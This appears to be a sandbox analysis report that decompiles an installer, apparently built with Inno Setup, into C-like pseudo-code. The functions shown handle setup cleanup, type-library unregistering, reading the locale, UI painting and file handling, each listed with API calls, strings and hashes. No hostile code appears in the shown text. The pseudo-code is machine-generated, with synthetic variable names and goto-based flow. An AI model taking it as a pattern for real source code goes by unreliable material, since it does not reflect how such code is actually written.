                                                          					E00487508(_t87,  &_v12, "DeinitializeSetup", _t146, _t165, 0, 0);
                                                          					_pop(_t132);
                                                          					 *[fs:eax] = _t132;
                                                          					E0042E314(0x4ae298);
                                                          				}
                                                          				_t32 =  *0x4ae270; // 0x21c2b8c
                                                          				_t138 =  *((intOrPtr*)( *_t32 + 0x10))() - 1;
                                                          				if(_t138 < 0) {
                                                          					L8:
                                                          					_t34 =  *0x4ae270; // 0x21c2b8c
                                                          					 *((intOrPtr*)( *_t34 + 0x38))();
                                                          					_t36 =  *0x4ae274; // 0x21c2bb8
                                                          					_t101 =  *((intOrPtr*)( *_t36 + 0x10))() - 1;
                                                          					if(_t101 < 0) {
                                                          						L10:
                                                          						_t38 =  *0x4ae274; // 0x21c2bb8
                                                          						 *((intOrPtr*)( *_t38 + 0x38))();
                                                          						E004660BC();
                                                          						E00455FB0(1);
                                                          						E00455B18(0);
                                                          						if( *0x4ae318 != 0) {
                                                          							_t69 =  *0x4ae318; // 0x10000000
                                                          							FreeLibrary(_t69);
                                                          						}
                                                          						if( *0x4ae314 != 0) {
                                                          							_t67 =  *0x4ae314; // 0x0
                                                          							FreeLibrary(_t67);
                                                          						}
                                                          						E00472364();
                                                          						if( *0x4ae018 != 0) {
                                                          							if( *0x48deec != 0) {
                                                          								E00455138(0);
                                                          							}
                                                          							_t122 =  *0x4ae018; // 0x21edbf0
                                                          							if(E004526D0(0, _t101, 1, _t122, _t135, _t138, 0, 0, 0, 1, 1) == 0) {
                                                          								E004035DC( &_v16, "Failed to remove temporary directory: ");
                                                          								_t124 =  *0x4ae018; // 0x21edbf0
                                                          								E004036C4( &_v16, _t124);
                                                          								E00455814(_v16, _t101, _t135, _t138);
                                                          							}
                                                          						}
                                                          						if( *0x4ae257 != 0 &&  *0x48deec != 0) {
                                                          							E00455814("Not restarting Windows because Setup is being run from the debugger.", _t101, _t135, _t138);
                                                          							 *0x4ae257 = 0;
                                                          						}
                                                          						E00454EC4();
                                                          						if( *0x4ae257 != 0) {
                                                          							E00455814("Restarting Windows.", _t101, _t135, _t138);
                                                          							if( *0x4adf94 == 0) {
                                                          								E00453A8C();
                                                          							} else {
                                                          								SendMessageA( *0x4adf98, 0x496, 0x2710, 0);
                                                          							}
                                                          						}
                                                          						_pop(_t121);
                                                          						 *[fs:eax] = _t121;
                                                          						_push(E00476368);
                                                          						return E00403548( &_v16);
                                                          					} else {
                                                          						goto L9;
                                                          					}
                                                          					do {
                                                          						L9:
                                                          						_t71 =  *0x4ae274; // 0x21c2bb8
                                                          						_t138 =  *_t71;
                                                          						 *((intOrPtr*)( *_t71 + 0xc))();
                                                          						_t74 =  *0x4ae274; // 0x21c2bb8
                                                          						_t75 =  *((intOrPtr*)( *_t74 + 0x14))(_v16);
                                                          						_pop(_t127);
                                                          						E004518A0(_t75 & 0xffffff00 | _t75 != 0x00000000, _t127, _t75);
                                                          						_t101 = _t101 - 1;
                                                          					} while (_t101 != 0xffffffff);
                                                          					goto L10;
                                                          				} else {
                                                          					_t139 = _t138 + 1;
                                                          					_t102 = 0;
                                                          					do {
                                                          						_t78 =  *0x4ae270; // 0x21c2b8c
                                                          						_t135 =  *_t78;
                                                          						 *((intOrPtr*)( *_t78 + 0xc))();
                                                          						_t81 =  *0x4ae270; // 0x21c2b8c
                                                          						_t82 =  *((intOrPtr*)( *_t81 + 0x14))(_v16);
                                                          						_pop(_t130);
                                                          						E004513FC(_t82 & 0xffffff00 | _t82 != 0x00000000, _t130, _t82);
                                                          						_t102 = _t102 + 1;
                                                          						_t139 = _t139 - 1;
                                                          					} while (_t139 != 0);
                                                          					goto L8;
                                                          				}
                                                          			}



































                                                          0x004760bc
                                                          0x004760bc
                                                          0x004760bd
                                                          0x004760bf
                                                          0x004760c2
                                                          0x004760c3
                                                          0x004760c4
                                                          0x004760c7
                                                          0x004760ca
                                                          0x004760ce
                                                          0x004760cf
                                                          0x004760d4
                                                          0x004760d7
                                                          0x004760df
                                                          0x004760eb
                                                          0x004760f1
                                                          0x004760f3
                                                          0x004760f7
                                                          0x004760f8
                                                          0x004760fd
                                                          0x00476100
                                                          0x00476107
                                                          0x0047610f
                                                          0x00476112
                                                          0x0047611e
                                                          0x00476128
                                                          0x0047612f
                                                          0x00476132
                                                          0x00476132
                                                          0x00476159
                                                          0x0047615a
                                                          0x0047615f
                                                          0x00476162
                                                          0x0047616b
                                                          0x0047616e
                                                          0x0047617a
                                                          0x0047617f
                                                          0x00476186
                                                          0x00476189
                                                          0x004761b3
                                                          0x004761b3
                                                          0x004761b8
                                                          0x004761c4
                                                          0x004761c7
                                                          0x004761fa
                                                          0x004761fa
                                                          0x00476201
                                                          0x00476204
                                                          0x00476210
                                                          0x00476214
                                                          0x00476246
                                                          0x00476246
                                                          0x0047624d
                                                          0x00476250
                                                          0x00476257
                                                          0x0047625e
                                                          0x0047626a
                                                          0x0047626c
                                                          0x00476272
                                                          0x00476272
                                                          0x0047627e
                                                          0x00476280
                                                          0x00476286
                                                          0x00476286
                                                          0x0047628b
                                                          0x00476297
                                                          0x004762a0
                                                          0x004762a4
                                                          0x004762a4
                                                          0x004762b5
                                                          0x004762c4
                                                          0x004762ce
                                                          0x004762d6
                                                          0x004762dc
                                                          0x004762e4
                                                          0x004762e4
                                                          0x004762c4
                                                          0x004762f0
                                                          0x00476300
                                                          0x00476305
                                                          0x00476305
                                                          0x0047630c
                                                          0x00476318
                                                          0x0047631f
                                                          0x0047632b
                                                          0x00476346
                                                          0x0047632d
                                                          0x0047633f
                                                          0x0047633f
                                                          0x0047632b
                                                          0x0047634d
                                                          0x00476350
                                                          0x00476353
                                                          0x00476360
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00476216
                                                          0x00476216
                                                          0x0047621b
                                                          0x00476220
                                                          0x00476222
                                                          0x0047622b
                                                          0x00476232
                                                          0x0047623a
                                                          0x0047623b
                                                          0x00476240
                                                          0x00476241
                                                          0x00000000
                                                          0x004761c9
                                                          0x004761c9
                                                          0x004761ca
                                                          0x004761cc
                                                          0x004761d1
                                                          0x004761d6
                                                          0x004761d8
                                                          0x004761e1
                                                          0x004761e8
                                                          0x004761f0
                                                          0x004761f1
                                                          0x004761f6
                                                          0x004761f7
                                                          0x004761f7
                                                          0x00000000
                                                          0x004761cc

                                                          APIs
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          • FreeLibrary.KERNEL32(10000000), ref: 00476272
                                                          • FreeLibrary.KERNEL32(00000000), ref: 00476286
                                                          • SendMessageA.USER32(?,00000496,00002710,00000000), ref: 0047633F
                                                          Strings
                                                          • DeinitializeSetup, xrefs: 00476175
                                                          • Not restarting Windows because Setup is being run from the debugger., xrefs: 004762FB
                                                          • Restarting Windows., xrefs: 0047631A
                                                          • Failed to remove temporary directory: , xrefs: 004762C6
                                                          • GetCustomSetupExitCode, xrefs: 00476119
                                                          • Deinitializing Setup., xrefs: 004760DA
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FreeLibrary$LocalMessageSendTime
                                                          • String ID: DeinitializeSetup$Deinitializing Setup.$Failed to remove temporary directory: $GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
                                                          • API String ID: 2162613394-2206919510
                                                          • Opcode ID: 18c68de9d0433fac5ded999f178f0a1e2ecf96367b30fddc6078c2647e76adbf
                                                          • Instruction ID: 8fd14bc63f5d7aaa3e576020743329ac8f9968c78294aede35f61ac6d25d72c5
                                                          • Opcode Fuzzy Hash: 18c68de9d0433fac5ded999f178f0a1e2ecf96367b30fddc6078c2647e76adbf
                                                          • Instruction Fuzzy Hash: 6161E630A00A009FD710EF76D895B9A7BA9EB46304F51C5BBF818973A2CB389C45CB5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 71%
                                                          			E00454BC0(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				struct HINSTANCE__* _t21;
                                                          				intOrPtr _t27;
                                                          				intOrPtr* _t29;
                                                          				void* _t31;
                                                          				intOrPtr _t32;
                                                          				void* _t33;
                                                          				intOrPtr* _t36;
                                                          				struct HINSTANCE__* _t49;
                                                          				void* _t50;
                                                          				intOrPtr _t62;
                                                          				struct HINSTANCE__* _t67;
                                                          				void* _t69;
                                                          				void* _t71;
                                                          				void* _t72;
                                                          				intOrPtr _t73;
                                                          
                                                          				_t50 = __ecx;
                                                          				_t71 = _t72;
                                                          				_t73 = _t72 + 0xfffffff0;
                                                          				_v20 = 0;
                                                          				_t69 = __eax;
                                                          				_push(_t71);
                                                          				_push(0x454d25);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t73;
                                                          				_push("UnRegisterTypeLib");
                                                          				_t21 = GetModuleHandleA("OLEAUT32.DLL");
                                                          				_push(_t21);
                                                          				L00405AA4();
                                                          				_t67 = _t21;
                                                          				_t49 = _t67;
                                                          				_t74 = _t67;
                                                          				if(_t67 == 0) {
                                                          					E00451B58("GetProcAddress", _t49, _t50, _t67, _t69, _t74);
                                                          				}
                                                          				E0042C8F0(_t69,  &_v20);
                                                          				_v8 = E00403DEC(_v20);
                                                          				if(_v8 == 0) {
                                                          					E00408DE4();
                                                          				}
                                                          				_push(_t71);
                                                          				_push(0x454d08);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t73;
                                                          				_push( &_v12);
                                                          				_t27 = _v8;
                                                          				_push(_t27);
                                                          				L0042CD54();
                                                          				_t76 = _t27;
                                                          				if(_t27 != 0) {
                                                          					E00451C00("LoadTypeLib", _t49, _t27, _t67, _t69, _t76);
                                                          				}
                                                          				 *[fs:edx] = _t73;
                                                          				_t29 = _v12;
                                                          				_t31 =  *((intOrPtr*)( *_t29 + 0x1c))(_t29,  &_v16,  *[fs:edx], 0x454cea, _t71);
                                                          				_t77 = _t31;
                                                          				if(_t31 != 0) {
                                                          					E00451C00("ITypeLib::GetLibAttr", _t49, _t31, _t67, _t69, _t77);
                                                          				}
                                                          				 *[fs:edx] = _t73;
                                                          				_t32 = _v16;
                                                          				_t33 = _t49->i(_t32,  *((intOrPtr*)(_t32 + 0x18)),  *((intOrPtr*)(_t32 + 0x1a)),  *((intOrPtr*)(_t32 + 0x10)),  *((intOrPtr*)(_t32 + 0x14)),  *[fs:edx], 0x454ccc, _t71);
                                                          				_t78 = _t33;
                                                          				if(_t33 != 0) {
                                                          					E00451C00("UnRegisterTypeLib", _t49, _t33, _t67, _t69, _t78);
                                                          				}
                                                          				_pop(_t62);
                                                          				 *[fs:eax] = _t62;
                                                          				_t36 = _v12;
                                                          				return  *((intOrPtr*)( *_t36 + 0x30))(_t36, _v16, E00454CD3);
                                                          			}






















                                                          0x00454bc0
                                                          0x00454bc1
                                                          0x00454bc3
                                                          0x00454bcb
                                                          0x00454bce
                                                          0x00454bd2
                                                          0x00454bd3
                                                          0x00454bd8
                                                          0x00454bdb
                                                          0x00454bde
                                                          0x00454be8
                                                          0x00454bed
                                                          0x00454bee
                                                          0x00454bf3
                                                          0x00454bf5
                                                          0x00454bf7
                                                          0x00454bf9
                                                          0x00454c00
                                                          0x00454c00
                                                          0x00454c0a
                                                          0x00454c17
                                                          0x00454c1e
                                                          0x00454c20
                                                          0x00454c20
                                                          0x00454c27
                                                          0x00454c28
                                                          0x00454c2d
                                                          0x00454c30
                                                          0x00454c36
                                                          0x00454c37
                                                          0x00454c3a
                                                          0x00454c3b
                                                          0x00454c40
                                                          0x00454c42
                                                          0x00454c4b
                                                          0x00454c4b
                                                          0x00454c5b
                                                          0x00454c62
                                                          0x00454c68
                                                          0x00454c6b
                                                          0x00454c6d
                                                          0x00454c76
                                                          0x00454c76
                                                          0x00454c86
                                                          0x00454c89
                                                          0x00454c9f
                                                          0x00454ca1
                                                          0x00454ca3
                                                          0x00454cac
                                                          0x00454cac
                                                          0x00454cb3
                                                          0x00454cb6
                                                          0x00454cc2
                                                          0x00454ccb

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00454D25,?,?,00000000,?), ref: 00454BE8
                                                          • 6CAA5550.KERNEL32(00000000,OLEAUT32.DLL,UnRegisterTypeLib,00000000,00454D25,?,?,00000000,?), ref: 00454BEE
                                                          • LoadTypeLib.OLEAUT32(00000000,?), ref: 00454C3B
                                                            • Part of subcall function 00451B58: GetLastError.KERNEL32(00000000,00451BF0,?,?,00000000,00000000,00000005,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451B7C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550ErrorHandleLastLoadModuleType
                                                          • String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
                                                          • API String ID: 4244801528-2711329623
                                                          • Opcode ID: 2c455773a72f526190eea25b1ca9c224068188e8d601d2fbdca99d02f883b31b
                                                          • Instruction ID: 868c0199dbdae99bfada457dfd6d9c206ed9773a2acbf400e954dfa04317f0b4
                                                          • Opcode Fuzzy Hash: 2c455773a72f526190eea25b1ca9c224068188e8d601d2fbdca99d02f883b31b
                                                          • Instruction Fuzzy Hash: CE318371A00604AFC702EFAACC51D5B77BDEFC87497128466F804DB652EB38D948C668
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 69%
                                                          			E0042E3A8(void* __ebx, void* __edi, void* __esi) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				struct HINSTANCE__* _t21;
                                                          				struct HINSTANCE__* _t49;
                                                          				intOrPtr _t63;
                                                          				void* _t71;
                                                          
                                                          				_v20 = 0;
                                                          				_v12 = 0;
                                                          				_push(_t71);
                                                          				_push(0x42e4ad);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t71 + 0xfffffff0;
                                                          				_push("GetUserDefaultUILanguage");
                                                          				_t21 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t21);
                                                          				L00405AA4();
                                                          				_t49 = _t21;
                                                          				if(_t49 == 0) {
                                                          					if( *0x48c0e0 != 2) {
                                                          						if(E0042DD88(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
                                                          							E0042DCB8();
                                                          							RegCloseKey(_v8);
                                                          						}
                                                          					} else {
                                                          						if(E0042DD88(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
                                                          							E0042DCB8();
                                                          							RegCloseKey(_v8);
                                                          						}
                                                          					}
                                                          					E004035DC( &_v20, 0x42e550);
                                                          					E004036C4( &_v20, _v12);
                                                          					E00402B08(_v20,  &_v16);
                                                          					if(_v16 != 0) {
                                                          					}
                                                          				} else {
                                                          					_t49->i();
                                                          				}
                                                          				_pop(_t63);
                                                          				 *[fs:eax] = _t63;
                                                          				_push(E0042E4B4);
                                                          				E00403548( &_v20);
                                                          				return E00403548( &_v12);
                                                          			}











                                                          0x0042e3b3
                                                          0x0042e3b6
                                                          0x0042e3bb
                                                          0x0042e3bc
                                                          0x0042e3c1
                                                          0x0042e3c4
                                                          0x0042e3c7
                                                          0x0042e3d1
                                                          0x0042e3d6
                                                          0x0042e3d7
                                                          0x0042e3dc
                                                          0x0042e3e0
                                                          0x0042e3f2
                                                          0x0042e447
                                                          0x0042e454
                                                          0x0042e45d
                                                          0x0042e45d
                                                          0x0042e3f4
                                                          0x0042e40f
                                                          0x0042e41c
                                                          0x0042e425
                                                          0x0042e425
                                                          0x0042e40f
                                                          0x0042e46a
                                                          0x0042e475
                                                          0x0042e480
                                                          0x0042e48b
                                                          0x0042e48b
                                                          0x0042e3e2
                                                          0x0042e3e2
                                                          0x0042e3e4
                                                          0x0042e491
                                                          0x0042e494
                                                          0x0042e497
                                                          0x0042e49f
                                                          0x0042e4ac

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E4AD,?,?,00000000,00000000,?,00000000,00475469,?,00000001,00000000,00000002,00000000), ref: 0042E3D1
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E4AD,?,?,00000000,00000000,?,00000000,00475469,?,00000001,00000000,00000002), ref: 0042E3D7
                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E4AD,?,?,00000000,00000000,?,00000000,00475469), ref: 0042E425
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550CloseHandleModule
                                                          • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
                                                          • API String ID: 60188751-2401316094
                                                          • Opcode ID: aa7242408ec27734a04db55b95a82169450c42e8d17fcad2c02b09953d234269
                                                          • Instruction ID: 42975018092ea5af1ab03705ecb409ec905e8f45b3c52ab5cd254af03c4ba0cb
                                                          • Opcode Fuzzy Hash: aa7242408ec27734a04db55b95a82169450c42e8d17fcad2c02b09953d234269
                                                          • Instruction Fuzzy Hash: D1213730B10215BBCB10EAE3DC51B9E77A8EF04304F90487BA500E7291E77C9A01DB1C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00416F98(void* __eax, void* __ecx, struct HDC__* __edx) {
                                                          				struct tagRECT _v44;
                                                          				struct tagRECT _v60;
                                                          				void* _v68;
                                                          				int _v80;
                                                          				int _t77;
                                                          				int _t130;
                                                          				void* _t131;
                                                          				void* _t152;
                                                          				void* _t153;
                                                          				void* _t154;
                                                          				struct HDC__* _t155;
                                                          
                                                          				_v60.right = __ecx;
                                                          				_t155 = __edx;
                                                          				_t152 = __eax;
                                                          				_t76 =  *((intOrPtr*)(__eax + 0xb0));
                                                          				if( *((intOrPtr*)(__eax + 0xb0)) == 0) {
                                                          					L13:
                                                          					_t77 =  *(_t152 + 0xb4);
                                                          					if(_t77 == 0) {
                                                          						L23:
                                                          						return _t77;
                                                          					}
                                                          					_t77 =  *((intOrPtr*)(_t77 + 8)) - 1;
                                                          					if(_t77 < 0) {
                                                          						goto L23;
                                                          					}
                                                          					_v44.right = _t77 + 1;
                                                          					_t153 = 0;
                                                          					do {
                                                          						_t77 = E0040B654( *(_t152 + 0xb4), _t153);
                                                          						_t130 = _t77;
                                                          						if( *((char*)(_t130 + 0xc5)) != 0 && ( *(_t130 + 0x34) & 0x00000010) != 0 && ( *((char*)(_t130 + 0x37)) != 0 || ( *(_t130 + 0x1c) & 0x00000010) != 0 && ( *(_t130 + 0x35) & 0x00000004) == 0)) {
                                                          							_v44.left = CreateSolidBrush(E0041A270(0x80000010));
                                                          							E0040AE50( *((intOrPtr*)(_t130 + 0x24)) - 1,  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)),  *((intOrPtr*)(_t130 + 0x28)) - 1,  &(_v44.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)));
                                                          							FrameRect(_t155,  &_v44, _v44);
                                                          							DeleteObject(_v60.right);
                                                          							_v60.left = CreateSolidBrush(E0041A270(0x80000014));
                                                          							E0040AE50( *((intOrPtr*)(_t130 + 0x24)),  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)) + 1,  *((intOrPtr*)(_t130 + 0x28)),  &(_v60.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)) + 1);
                                                          							FrameRect(_t155,  &_v60, _v60);
                                                          							_t77 = DeleteObject(_v68);
                                                          						}
                                                          						_t153 = _t153 + 1;
                                                          						_t73 =  &(_v44.right);
                                                          						 *_t73 = _v44.right - 1;
                                                          					} while ( *_t73 != 0);
                                                          					goto L23;
                                                          				}
                                                          				_t154 = 0;
                                                          				if(_v60.right != 0) {
                                                          					_t154 = E0040B69C(_t76, _v60.right);
                                                          					if(_t154 < 0) {
                                                          						_t154 = 0;
                                                          					}
                                                          				}
                                                          				_v60.bottom =  *((intOrPtr*)( *((intOrPtr*)(_t152 + 0xb0)) + 8));
                                                          				if(_t154 >= _v60.bottom) {
                                                          					goto L13;
                                                          				} else {
                                                          					goto L5;
                                                          				}
                                                          				do {
                                                          					L5:
                                                          					_t131 = E0040B654( *((intOrPtr*)(_t152 + 0xb0)), _t154);
                                                          					if( *((char*)(_t131 + 0x37)) != 0 || ( *(_t131 + 0x1c) & 0x00000010) != 0 && ( *(_t131 + 0x35) & 0x00000004) == 0) {
                                                          						E0040AE50( *((intOrPtr*)(_t131 + 0x24)),  *((intOrPtr*)(_t131 + 0x24)) +  *(_t131 + 0x2c),  *((intOrPtr*)(_t131 + 0x28)),  &(_v44.bottom),  *((intOrPtr*)(_t131 + 0x28)) +  *(_t131 + 0x30));
                                                          						if(RectVisible(_t155,  &(_v44.top)) != 0) {
                                                          							if(( *(_t152 + 0x36) & 0x00000080) != 0) {
                                                          								 *(_t131 + 0x36) =  *(_t131 + 0x36) | 0x00000080;
                                                          							}
                                                          							_v60.top = SaveDC(_t155);
                                                          							E004143D0(_t155,  *((intOrPtr*)(_t131 + 0x28)),  *((intOrPtr*)(_t131 + 0x24)));
                                                          							IntersectClipRect(_t155, 0, 0,  *(_t131 + 0x2c),  *(_t131 + 0x30));
                                                          							E00415458(_t131, _t155, 0xf, 0);
                                                          							RestoreDC(_t155, _v80);
                                                          							 *(_t131 + 0x36) =  *(_t131 + 0x36) & 0x0000007f;
                                                          						}
                                                          					}
                                                          					_t154 = _t154 + 1;
                                                          				} while (_t154 < _v60.top);
                                                          				goto L13;
                                                          			}














                                                          0x00416f9f
                                                          0x00416fa2
                                                          0x00416fa4
                                                          0x00416fa6
                                                          0x00416fae
                                                          0x00417091
                                                          0x00417091
                                                          0x00417099
                                                          0x0041719e
                                                          0x0041719e
                                                          0x0041719e
                                                          0x004170a2
                                                          0x004170a5
                                                          0x00000000
                                                          0x00000000
                                                          0x004170ac
                                                          0x004170b0
                                                          0x004170b2
                                                          0x004170ba
                                                          0x004170bf
                                                          0x004170c8
                                                          0x00417102
                                                          0x00417125
                                                          0x00417130
                                                          0x0041713a
                                                          0x0041714f
                                                          0x00417172
                                                          0x0041717d
                                                          0x00417187
                                                          0x00417187
                                                          0x0041718c
                                                          0x0041718d
                                                          0x0041718d
                                                          0x0041718d
                                                          0x00000000
                                                          0x004170b2
                                                          0x00416fb4
                                                          0x00416fba
                                                          0x00416fc4
                                                          0x00416fc8
                                                          0x00416fca
                                                          0x00416fca
                                                          0x00416fc8
                                                          0x00416fd5
                                                          0x00416fdd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00416fe3
                                                          0x00416fe3
                                                          0x00416ff0
                                                          0x00416ff6
                                                          0x00417020
                                                          0x00417032
                                                          0x00417038
                                                          0x0041703a
                                                          0x0041703a
                                                          0x00417044
                                                          0x00417050
                                                          0x00417062
                                                          0x00417072
                                                          0x0041707d
                                                          0x00417082
                                                          0x00417082
                                                          0x00417032
                                                          0x00417086
                                                          0x00417087
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
                                                          • String ID:
                                                          • API String ID: 375863564-0
                                                          • Opcode ID: d7224f7c47cc49409eb34bfd1cddc35a5edd60ae5c8e019a80344a5159ce3944
                                                          • Instruction ID: c46714a1ec0c0ad87461e4327d4dd9d92905751286786d64687e42ca623993c9
                                                          • Opcode Fuzzy Hash: d7224f7c47cc49409eb34bfd1cddc35a5edd60ae5c8e019a80344a5159ce3944
                                                          • Instruction Fuzzy Hash: 69515D716082456FDB50EF29C8C4B9B77E8AF48314F1545AAFD488B287C738EC85CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 89%
                                                          			E00404C0F(void** __eax) {
                                                          				void* _t25;
                                                          				void* _t26;
                                                          				void* _t27;
                                                          				long _t30;
                                                          				void* _t33;
                                                          				void* _t35;
                                                          				long _t36;
                                                          				int _t39;
                                                          				void* _t41;
                                                          				void* _t47;
                                                          				void* _t48;
                                                          				long _t49;
                                                          				long _t50;
                                                          				void* _t53;
                                                          				void** _t54;
                                                          				DWORD* _t55;
                                                          
                                                          				_t54 = __eax;
                                                          				 *((intOrPtr*)(__eax + 0xc)) = 0;
                                                          				 *((intOrPtr*)(__eax + 0x10)) = 0;
                                                          				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
                                                          				if(_t25 == 0) {
                                                          					_t26 = 0x80000000;
                                                          					_t50 = 2;
                                                          					_t49 = 3;
                                                          					 *((intOrPtr*)(__eax + 0x1c)) = E00404BA0;
                                                          					L8:
                                                          					_t54[9] = 0x404bf7;
                                                          					_t54[8] = E00404BC7;
                                                          					if(_t54[0x12] == 0) {
                                                          						_t54[9] = E00404BC7;
                                                          						if(_t54[1] == 0xd7b2) {
                                                          							_t27 = GetStdHandle(0xfffffff5);
                                                          						} else {
                                                          							_t27 = GetStdHandle(0xfffffff6);
                                                          						}
                                                          						if(_t27 == 0xffffffff) {
                                                          							L35:
                                                          							_t54[1] = 0xd7b0;
                                                          							return GetLastError();
                                                          						} else {
                                                          							 *_t54 = _t27;
                                                          							L28:
                                                          							if(_t54[1] == 0xd7b1) {
                                                          								L32:
                                                          								return 0;
                                                          							}
                                                          							_t30 = GetFileType( *_t54);
                                                          							if(_t30 == 0) {
                                                          								CloseHandle( *_t54);
                                                          								_t54[1] = 0xd7b0;
                                                          								return 0x69;
                                                          							}
                                                          							if(_t30 == 2) {
                                                          								_t54[8] = E00404BCA;
                                                          							}
                                                          							goto L32;
                                                          						}
                                                          					}
                                                          					_push(0);
                                                          					_push(0x80);
                                                          					_push(_t49);
                                                          					_push(0);
                                                          					_push(_t50);
                                                          					_push(_t26);
                                                          					_t33 =  &(_t54[0x12]);
                                                          					_push(_t33);
                                                          					L00401228();
                                                          					if(_t33 == 0xffffffff) {
                                                          						goto L35;
                                                          					}
                                                          					 *_t54 = _t33;
                                                          					if(_t54[1] != 0xd7b3) {
                                                          						goto L28;
                                                          					}
                                                          					_t54[1] = _t54[1] - 1;
                                                          					_t35 = GetFileSize( *_t54, 0) + 1;
                                                          					if(_t35 == 0) {
                                                          						goto L35;
                                                          					}
                                                          					_t36 = _t35 - 0x81;
                                                          					if(_t36 < 0) {
                                                          						_t36 = 0;
                                                          					}
                                                          					if(SetFilePointer( *_t54, _t36, 0, 0) + 1 == 0) {
                                                          						goto L35;
                                                          					} else {
                                                          						_t39 = ReadFile( *_t54,  &(_t54[0x53]), 0x80, _t55, 0);
                                                          						_t53 = 0;
                                                          						if(_t39 != 1) {
                                                          							goto L35;
                                                          						}
